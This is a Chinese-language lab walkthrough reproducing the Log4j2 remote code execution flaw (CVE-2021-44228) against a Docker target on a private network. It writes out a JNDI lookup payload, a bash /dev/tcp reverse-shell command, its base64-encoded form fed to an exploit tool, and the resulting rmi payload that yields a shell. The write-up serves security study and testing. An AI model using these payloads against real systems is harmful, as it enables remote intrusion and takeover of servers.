天天看点

CVE-2021-44228——Log4j2-RCE漏洞复现

0x00 漏洞介绍

Apache Log4j2是一个Java的日志组件,在特定的版本中由于其启用了lookup功能,从而导致产生远程代码执行漏洞。

影响版本:Apache Log4j2 2.0-beta9 - 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)

漏洞编号:CVE-2021-44228

0x01 环境准备

测试环境 IP
Kali 192.168.100.100
靶机 192.168.100.101

0x02 靶场搭建

使用docker搭建vulfocus的漏洞靶场:

docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest
           

浏览器访问

http://192.168.100.101

,部署成功:

CVE-2021-44228——Log4j2-RCE漏洞复现

0x03 DNSLog验证

通过DNSLog平台获取到域名

ky28eo.dnslog.cnn

,构造payload:

${jndi:ldap://ky28eo.dnslog.cn}

,浏览器点击?????并使用Burpsuite进行抓包并替换payload参数,此时若直接发包会导致服务器400错误:

CVE-2021-44228——Log4j2-RCE漏洞复现

通过Burpsuite自带的编码工具对其进行URL编码:

CVE-2021-44228——Log4j2-RCE漏洞复现

编码后再次发送请求包:

CVE-2021-44228——Log4j2-RCE漏洞复现

在DNSLog网站成功接收到解析记录:

CVE-2021-44228——Log4j2-RCE漏洞复现

0x04 JNDI注入反弹shell

使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用:

下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
           

使用方式:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
           

反弹shell指令:

bash -i >& /dev/tcp/ip/port 0>&1
           

此处kali的ip为192.168.100.100,port可使用任意未被占用的端口,此处指定为4444:

bash -i >& /dev/tcp/192.168.100.100/4444 0>&1
           

将此条命令进行Java Runtime Bash 编码:

编码地址:https://www.jackson-t.ca/runtime-exec-payloads.html
           

编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定kali的ip地址:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMDAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.100.100
           
CVE-2021-44228——Log4j2-RCE漏洞复现

在新的窗口监听4444端口:

CVE-2021-44228——Log4j2-RCE漏洞复现

替换工具生成的payload:

rmi://192.168.100.100:1099/ymo5o3

到Burpsuite:

CVE-2021-44228——Log4j2-RCE漏洞复现
CVE-2021-44228——Log4j2-RCE漏洞复现

编码后发送到靶机:

CVE-2021-44228——Log4j2-RCE漏洞复现

kali的监听窗口成功接收到反弹的shell:

CVE-2021-44228——Log4j2-RCE漏洞复现

继续阅读